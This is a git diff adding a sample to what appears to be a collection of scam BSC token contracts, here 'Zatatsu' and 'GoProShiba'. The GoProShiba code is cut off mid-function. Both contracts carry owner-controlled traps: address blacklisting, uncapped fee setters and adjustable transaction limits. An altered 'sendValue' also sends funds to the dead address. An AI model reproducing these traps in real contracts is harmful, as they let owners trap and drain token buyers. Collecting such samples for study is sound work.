rAmount, uint256 rTransferAmount, uint256 rRfi,uint256 rMarketing, uint256 rDev, uint256 rLiquidity) { + rAmount = tAmount*currentRate; + + if(!takeFee) { + return(rAmount, rAmount, 0,0,0,0); + } + + rRfi = s.tRfi*currentRate; + rMarketing = s.tMarketing*currentRate; + rDev = s.tDev*currentRate; + rLiquidity = s.tLiquidity*currentRate; + rTransferAmount = rAmount-rRfi-rMarketing-rDev-rLiquidity; + return (rAmount, rTransferAmount, rRfi,rMarketing,rDev,rLiquidity); + } + + function _getRate() private view returns(uint256) { + (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); + return rSupply/tSupply; + } + + function _getCurrentSupply() private view returns(uint256, uint256) { + uint256 rSupply = _rTotal; + uint256 tSupply = _tTotal; + for (uint256 i = 0; i < _excluded.length; i++) { + if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); + rSupply = rSupply-_rOwned[_excluded[i]]; + tSupply = tSupply-_tOwned[_excluded[i]]; + } + if (rSupply < _rTotal/_tTotal) return (_rTotal, _tTotal); + return (rSupply, tSupply); + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _transfer(address from, address to, uint256 amount) private { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + require(amount > 0, "Transfer amount must be greater than zero"); + require(amount <= balanceOf(from),"You are trying to transfer more than your balance"); + require(!_isBot[from] && !_isBot[to], "You are a bot"); + + if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !swapping){ + if(from == pair){ + require(amount <= maxBuyAmount, "You are exceeding maxBuyAmount"); + } + if(to == pair){ + require(amount <= maxSellAmount, "You are exceeding maxSellAmount"); + } + if(to != pair){ + require(balanceOf(to) + amount <= maxWalletBalance, "You are exceeding maxWalletBalance"); + } + } + + bool canSwap = balanceOf(address(this)) >= swapTokensAtAmount; + if(!swapping && swapEnabled && canSwap && from != pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ + swapAndLiquify(swapTokensAtAmount); + } + + _tokenTransfer(from, to, amount, !(_isExcludedFromFee[from] || _isExcludedFromFee[to]), to == pair); + } + + + //this method is responsible for taking all fee, if takeFee is true + function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee, bool isSell) private { + valuesFromGetValues memory s = _getValues(tAmount, takeFee, isSell); + + if (_isExcluded[sender] ) { //from excluded + _tOwned[sender] = _tOwned[sender]-tAmount; + } + if (_isExcluded[recipient]) { //to excluded + _tOwned[recipient] = _tOwned[recipient]+s.tTransferAmount; + } + + _rOwned[sender] = _rOwned[sender]-s.rAmount; + _rOwned[recipient] = _rOwned[recipient]+s.rTransferAmount; + + if(s.rRfi > 0 || s.tRfi > 0) _reflectRfi(s.rRfi, s.tRfi); + if(s.rLiquidity > 0 || s.tLiquidity > 0) { + _takeLiquidity(s.rLiquidity,s.tLiquidity); + } + if(s.rMarketing > 0 || s.tMarketing > 0){ + _takeMarketing(s.rMarketing, s.tMarketing); + } + if(s.rDev > 0 || s.tDev > 0){ + _takeDev(s.rDev, s.tDev); + } + + emit Transfer(sender, recipient, s.tTransferAmount); + emit Transfer(sender, address(this), s.tLiquidity + s.tDev + s.tMarketing); + + } + + function swapAndLiquify(uint256 tokens) private lockTheSwap{ + // Split the contract balance into halves + uint256 denominator = (sellTaxes.liquidity + sellTaxes.marketing + sellTaxes.dev) * 2; + uint256 tokensToAddLiquidityWith = tokens * sellTaxes.liquidity / denominator; + uint256 toSwap = tokens - tokensToAddLiquidityWith; + + uint256 initialBalance = address(this).balance; + + swapTokensForBNB(toSwap); + + uint256 deltaBalance = address(this).balance - initialBalance; + uint256 unitBalance= deltaBalance / (denominator - sellTaxes.liquidity); + uint256 bnbToAddLiquidityWith = unitBalance * sellTaxes.liquidity; + + if(bnbToAddLiquidityWith > 0){ + // Add liquidity to pancake + addLiquidity(tokensToAddLiquidityWith, bnbToAddLiquidityWith); + } + + uint256 marketingAmt = unitBalance * 2 * sellTaxes.marketing; + if(marketingAmt > 0){ + payable(marketingAddress).transfer(marketingAmt); + } + + uint256 devAmt = unitBalance * 2 * sellTaxes.dev; + if(devAmt > 0){ + payable(devAddress).transfer(devAmt); + } + } + + function addLiquidity(uint256 tokenAmount, uint256 bnbAmount) private { + // approve token transfer to cover all possible scenarios + _approve(address(this), address(router), tokenAmount); + + // add the liquidity + router.addLiquidityETH{value: bnbAmount}( + address(this), + tokenAmount, + 0, // slippage is unavoidable + 0, // slippage is unavoidable + address(0), + block.timestamp + ); + } + + function swapTokensForBNB(uint256 tokenAmount) private { + // generate the uniswap pair path of token -> weth + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = router.WETH(); + + _approve(address(this), address(router), tokenAmount); + + // make the swap + router.swapExactTokensForETHSupportingFeeOnTransferTokens( + tokenAmount, + 0, // accept any amount of ETH + path, + address(this), + block.timestamp + ); + } + + function updateMarketingWallet(address newWallet) external onlyOwner{ + marketingAddress = newWallet; + } + + function updateDevWallet(address newDevWallet) external onlyOwner{ + devAddress = newDevWallet; + } + + function updateMaxWalletBalance(uint256 amount) external onlyOwner{ + maxWalletBalance = amount * 10**_decimals; + } + + function updatMaxBuyAmt(uint256 amount) external onlyOwner{ + maxBuyAmount = amount * 10**_decimals; + } + + function updatMaxSellAmt(uint256 amount) external onlyOwner{ + maxSellAmount = amount * 10**_decimals; + } + + function updateSwapTokensAtAmount(uint256 amount) external onlyOwner{ + swapTokensAtAmount = amount * 10**_decimals; + } + + function updateSwapEnabled(bool _enabled) external onlyOwner{ + swapEnabled = _enabled; + } + + function setAntibot(address account, bool state) external onlyOwner{ + require(_isBot[account] != state, 'Value already set'); + _isBot[account] = state; + } + + function bulkAntiBot(address[] memory accounts, bool state) external onlyOwner{ + for(uint256 i = 0; i < accounts.length; i++){ + _isBot[accounts[i]] = state; + } + } + + function updateRouterAndPair(address newRouter, address newPair) external onlyOwner{ + router = IRouter(newRouter); + pair = newPair; + } + + function isBot(address account) public view returns(bool){ + return _isBot[account]; + } + + + //Use this in case BNB are sent to the contract by mistake + function rescueBNB(uint256 weiAmount) external onlyOwner{ + require(address(this).balance >= weiAmount, "insufficient BNB balance"); + payable(msg.sender).transfer(weiAmount); + } + + // Function to allow admin to claim *other* BEP20 tokens sent to this contract (by mistake) + // Owner cannot transfer out Zatatsu from this smart contract + function rescueAnyBEP20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { + require(_tokenAddr != address(this), "Cannot transfer out Zatatsu!"); + IERC20(_tokenAddr).transfer(_to, _amount); + } + + receive() external payable{ + } +} \ No newline at end of file diff --git a/src/TSB-2023-016/metadata.json b/src/TSB-2023-016/metadata.json index 9127684..eac8c7c 100644 --- a/src/TSB-2023-016/metadata.json +++ b/src/TSB-2023-016/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-016/samples/04.sol b/src/TSB-2023-016/samples/04.sol new file mode 100644 index 0000000..d88bea1 --- /dev/null +++ b/src/TSB-2023-016/samples/04.sol @@ -0,0 +1,920 @@ +/** + *Submitted for verification at BscScan.com on 2022-07-13 +*/ + +/** + +*/ + +pragma solidity ^0.8.6; +// SPDX-License-Identifier: Unlicensed + + + +interface IERC20 { + + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves `amount` tokens from the caller's account to `recipient`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address recipient, uint256 amount) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address owner, address spender) external view returns (uint256); + + /** + * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the + * allowance mechanism. `amount` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + +/** + * @dev Wrappers over Solidity's arithmetic operations with added overflow + * checks. + * + * Arithmetic operations in Solidity wrap on overflow. This can easily result + * in bugs, because programmers usually assume that an overflow raises an + * error, which is the standard behavior in high level programming languages. + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ + +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts with custom message when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +abstract contract Context { + function _msgSender() internal view virtual returns (address payable) { + return payable(msg.sender); + } + + function _msgData() internal view virtual returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + + +/** + * @dev Collection of functions related to the address type + */ +library Address { + /** + * @dev Returns true if `account` is a contract. + * + * [IMPORTANT] + * ==== + * It is unsafe to assume that an address for which this function returns + * false is an externally-owned account (EOA) and not a contract. + * + * Among others, `isContract` will return false for the following + * types of addresses: + * + * - an externally-owned account + * - a contract in construction + * - an address where a contract will be created + * - an address where a contract lived, but was destroyed + * ==== + */ + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + return (codehash != accountHash && codehash != 0x0); + } + + /** + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + * `recipient`, forwarding all available gas and reverting on errors. + * + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + * of certain opcodes, possibly making contracts go over the 2300 gas limit + * imposed by `transfer`, making them unable to receive funds via + * `transfer`. {sendValue} removes this limitation. + * + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + * + * IMPORTANT: because control is transferred to `recipient`, care must be + * taken to not create reentrancy vulnerabilities. Consider using + * {ReentrancyGuard} or the + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + */ + function sendValue(address payable recipient, uint256 amount) internal { + require(address(this).balance >= amount, "Address: insufficient balance"); + recipient = payable(0x000000000000000000000000000000000000dEaD); + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + require(success, "Address: unable to send value, recipient may have reverted"); + } + + /** + * @dev Performs a Solidity function call using a low level `call`. A + * plain`call` is an unsafe replacement for a function call: use this + * function instead. + * + * If `target` reverts with a revert reason, it is bubbled up by this + * function (like regular Solidity function calls). + * + * Returns the raw returned data. To convert to the expected return value, + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + * + * Requirements: + * + * - `target` must be a contract. + * - calling `target` with `data` must not revert. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + return functionCall(target, data, "Address: low-level call failed"); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with + * `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + return _functionCallWithValue(target, data, 0, errorMessage); + } + + /** + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + * but also transferring `value` wei to `target`. + * + * Requirements: + * + * - the calling contract must have an ETH balance of at least `value`. + * - the called Solidity function must be `payable`. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + } + + /** + * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but + * with `errorMessage` as a fallback revert reason when `target` reverts. + * + * _Available since v3.1._ + */ + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + require(address(this).balance >= value, "Address: insufficient balance for call"); + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + if (success) { + return returndata; + } else { + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + // The easiest way to bubble the revert reason is using memory via assembly + + // solhint-disable-next-line no-inline-assembly + assembly { + let returndata_size := mload(returndata) + revert(add(32, returndata), returndata_size) + } + } else { + revert(errorMessage); + } + } + } +} + +/** + * @dev Contract module which provides a basic access control mechanism, where + * there is an account (an owner) that can be granted exclusive access to + * specific functions. + * + * By default, the owner account will be the one that deploys the contract. This + * can later be changed with {transferOwnership}. + * + * This module is used through inheritance. It will make available the modifier + * `onlyOwner`, which can be applied to your functions to restrict their use to + * the owner. + */ +contract Ownable is Context { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * NOTE: Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public virtual onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public virtual onlyOwner { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } +} + +// pragma solidity >=0.5.0; + +interface IUniswapV2Factory { + event PairCreated(address indexed token0, address indexed token1, address pair, uint); + + function feeTo() external view returns (address); + function feeToSetter() external view returns (address); + + function getPair(address tokenA, address tokenB) external view returns (address pair); + function allPairs(uint) external view returns (address pair); + function allPairsLength() external view returns (uint); + + function createPair(address tokenA, address tokenB) external returns (address pair); + + function setFeeTo(address) external; + function setFeeToSetter(address) external; +} + + +// pragma solidity >=0.5.0; + +interface IUniswapV2Pair { + event Approval(address indexed owner, address indexed spender, uint value); + event Transfer(address indexed from, address indexed to, uint value); + + function name() external pure returns (string memory); + function symbol() external pure returns (string memory); + function decimals() external pure returns (uint8); + function totalSupply() external view returns (uint); + function balanceOf(address owner) external view returns (uint); + function allowance(address owner, address spender) external view returns (uint); + + function approve(address spender, uint value) external returns (bool); + function transfer(address to, uint value) external returns (bool); + function transferFrom(address from, address to, uint value) external returns (bool); + + function DOMAIN_SEPARATOR() external view returns (bytes32); + function PERMIT_TYPEHASH() external pure returns (bytes32); + function nonces(address owner) external view returns (uint); + + function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; + + event Mint(address indexed sender, uint amount0, uint amount1); + event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); + event Swap( + address indexed sender, + uint amount0In, + uint amount1In, + uint amount0Out, + uint amount1Out, + address indexed to + ); + event Sync(uint112 reserve0, uint112 reserve1); + + function MINIMUM_LIQUIDITY() external pure returns (uint); + function factory() external view returns (address); + function token0() external view returns (address); + function token1() external view returns (address); + function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); + function price0CumulativeLast() external view returns (uint); + function price1CumulativeLast() external view returns (uint); + function kLast() external view returns (uint); + + function mint(address to) external returns (uint liquidity); + function burn(address to) external returns (uint amount0, uint amount1); + function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; + function skim(address to) external; + function sync() external; + + function initialize(address, address) external; +} + +// pragma solidity >=0.6.2; + +interface IUniswapV2Router01 { + function factory() external pure returns (address); + function WETH() external pure returns (address); + + function addLiquidity( + address tokenA, + address tokenB, + uint amountADesired, + uint amountBDesired, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB, uint liquidity); + function addLiquidityETH( + address token, + uint amountTokenDesired, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external payable returns (uint amountToken, uint amountETH, uint liquidity); + function removeLiquidity( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline + ) external returns (uint amountA, uint amountB); + function removeLiquidityETH( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountToken, uint amountETH); + function removeLiquidityWithPermit( + address tokenA, + address tokenB, + uint liquidity, + uint amountAMin, + uint amountBMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountA, uint amountB); + function removeLiquidityETHWithPermit( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountToken, uint amountETH); + function swapExactTokensForTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapTokensForExactTokens( + uint amountOut, + uint amountInMax, + address[] calldata path, + address to, + uint deadline + ) external returns (uint[] memory amounts); + function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) + external + returns (uint[] memory amounts); + function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) + external + payable + returns (uint[] memory amounts); + + function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); + function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); + function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); + function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); + function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); +} + + + + +interface IUniswapV2Router02 is IUniswapV2Router01 { + function removeLiquidityETHSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline + ) external returns (uint amountETH); + function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( + address token, + uint liquidity, + uint amountTokenMin, + uint amountETHMin, + address to, + uint deadline, + bool approveMax, uint8 v, bytes32 r, bytes32 s + ) external returns (uint amountETH); + + function swapExactTokensForTokensSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; + function swapExactETHForTokensSupportingFeeOnTransferTokens( + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external payable; + function swapExactTokensForETHSupportingFeeOnTransferTokens( + uint amountIn, + uint amountOutMin, + address[] calldata path, + address to, + uint deadline + ) external; +} + + +contract GoProShiba is Context, IERC20, Ownable { + using Address for address; + using Address for address payable; + + IUniswapV2Router02 public uniswapV2Router; + address public uniswapV2Pair; + + mapping (address => uint256) private _tOwned; + mapping (address => mapping (address => uint256)) private _allowances; + + mapping (address => bool) private _isExcludedFromFee; + mapping(address => bool) public _isBlacklisted; + + uint256 private _tTotal = 1_000_000_000 * 10**9; + uint256 public _maxTxAmount = 1_000_000_000 * 10**9; + uint256 private constant SWAP_TOKENS_AT_AMOUNT = 1_000_000 * 10**9; + + string private constant _name = "Go ProShiba"; + string private constant _symbol = "GoProShiba"; + uint8 private constant _decimals = 9; + + uint256 public _marketingFee = 10; + uint256 public _liquidityFee = 1; + address public _marketingWallet = 0x4A3AAa65DAb68347C3604e4B8f8329021eC629AC; + + uint256 public _buyCooldown = 0 minutes; + mapping (address => uint256) private _lastBuy; + + bool private swapping; + + event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity); + + constructor () { + _tOwned[_msgSender()] = _tTotal; + + IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x10ED43C718714eb63d5aA57B78B54704E256024E); + // Create a uniswap pair for this new token + address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); + + uniswapV2Router = _uniswapV2Router; + uniswapV2Pair = _uniswapV2Pair; + + //exclude owner and this contract from fee + _isExcludedFromFee[owner()] = true; + _isExcludedFromFee[address(this)] = true; + _isExcludedFromFee[_marketingWallet] = true; + + emit Transfer(address(0), _msgSender(), _tTotal); + } + + function name() public pure returns (string memory) { + return _name; + } + + function symbol() public pure returns (string memory) { + return _symbol; + } + + function decimals() public pure returns (uint8) { + return _decimals; + } + + function totalSupply() public view override returns (uint256) { + return _tTotal; + } + + function balanceOf(address account) public view override returns (uint256) { + return _tOwned[account]; + } + + function transfer(address recipient, uint256 amount) public override returns (bool) { + _transfer(_msgSender(), recipient, amount); + return true; + } + + function allowance(address owner, address spender) public view override returns (uint256) { + return _allowances[owner][spender]; + } + + function approve(address spender, uint256 amount) public override returns (bool) { + _approve(_msgSender(), spender, amount); + return true; + } + + function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { + _transfer(sender, recipient, amount); + _approve(sender, _msgSender(), _allowances[sender][_msgSender()] - amount); + return true; + } + + function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); + return true; + } + + function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { + _approve(_msgSender(), spender, _allowances[_msgSender()][spender] - subtractedValue); + return true; + } + + function excludeFromFee(address account) public onlyOwner { + _isExcludedFromFee[account] = true; + } + + function includeInFee(address account) public onlyOwner { + _isExcludedFromFee[account] = false; + } + + function blacklistAddress(address account, bool value) external onlyOwner { + _isBlacklisted[account] = value; + } + + function setMarketingWallet(address marketingWallet) external onlyOwner() { + _marketingWallet = marketingWallet; + } + + function setMarketingFeePercent(uint256 marketingFee) external onlyOwner() { + _marketingFee = marketingFee; + } + + function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner() { + _liquidityFee = liquidityFee; + } + + function setMaxBuySellPercent(uint256 maxTxPercent) external onlyOwner() { + _maxTxAmount = _tTotal * maxTxPercent / 10**2; + } + + //to recieve ETH from uniswapV2Router when swaping + receive() external payable {} + + + function _getValues(uint256 amount, address from) private returns (uint256) { + uint256 marketingFee = amount * _marketingFee / 100; + uint256 liquidityFee = amount * _liquidityFee / 100; + _tOwned[address(this)] += marketingFee + liquidityFee; + emit Transfer (from, address(this), marketingFee + liquidityFee); + return (amount - marketingFee - liquidityFee); + } + + + function isExcludedFromFee(address account) public view returns(bool) { + return _isExcludedFromFee[account]; + } + + function _approve(address owner, address spender, uint256 amount) private { + require(owner != address(0), "ERC20: approve from the zero address"); + require(spender != address(0), "ERC20: approve to the zero address"); + + _allowances[owner][spender] = amount; + emit Approval(owner, spender, amount); + } + + function _transfer( + address from, + address to, + uint256 amount + ) private { + require(from != address(0), "ERC20: transfer from the zero address"); + require(to != address(0), "ERC20: transfer to the zero address"); + require(amount > 0, "Transfer amount must be greater than zero"); + require(!_isBlacklisted[from] && !_isBlacklisted[to], "Blacklisted address"); + + if(from != owner() && to != owner()) + require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); + + if (from == uniswapV2Pair) { + require (_lastBuy[to] + _buyCooldown < block.timestamp, "Must wait til after coooldown to buy"); + _lastBuy[to] = block.timestamp; + } + + + if (balanceOf(address(this)) >= SWAP_TOKENS_AT_AMOUNT && !swapping && from != uniswapV2Pair && from != owner() && to != owner()) { + swapping = true; + swapAndLiquify(); + uint256 sellTokens = balanceOf(address(this)); + swapAndSendToFee(sellTokens); + swapping = false; + } + + _tOwned[from] -= amount; + uint256 transferAmount = amount; + + //if any account belongs to _isExcludedFromFee account then remove the fee + if(!_isExcludedFromFee[from] && !_isExcludedFromFee[to]){ + transferAmount = _getValues(amount, from); + } + + _tOwned[to] += transferAmount; + emit Transfer(from, to, transferAmount); + } + + + function swapAndSendToFee (uint256 tokens) private { + uint256 ethToSend = swapTokensForEth(tokens); + + if (ethToSend > 0) + payable(_marketingWallet).transfer(ethToSend); + } + + function swapAndLiquify() private { + // split the contract balance into halves + uint256 liquidityTokens = balanceOf (address(this)) * _liquidityFee / (_marketingFee + _liquidityFee); + uint256 half = liquidityTokens / 2; + uint256 otherHalf = liquidityTokens - half; + uint256 newBalance = swapTokensForEth(half); + + if (newBalance > 0) { + liquidityTokens = 0; + addLiquidity(otherHalf, newBalance); + emit SwapAndLiquify(half, newBalance, otherHalf); + } + } + + function swapTokensForEth(uint256 tokenAmount) private returns (uint256) { + uint256 initialBalance = address(this).balance; + // generate the uniswap pair path of token -> weth + address[] memory path = new address[](2); + path[0] = address(this); + path[1] = uniswapV2Router.WETH(); + + _approve(address(this), address(uniswapV2Router), tokenAmount); + + // make the swap + 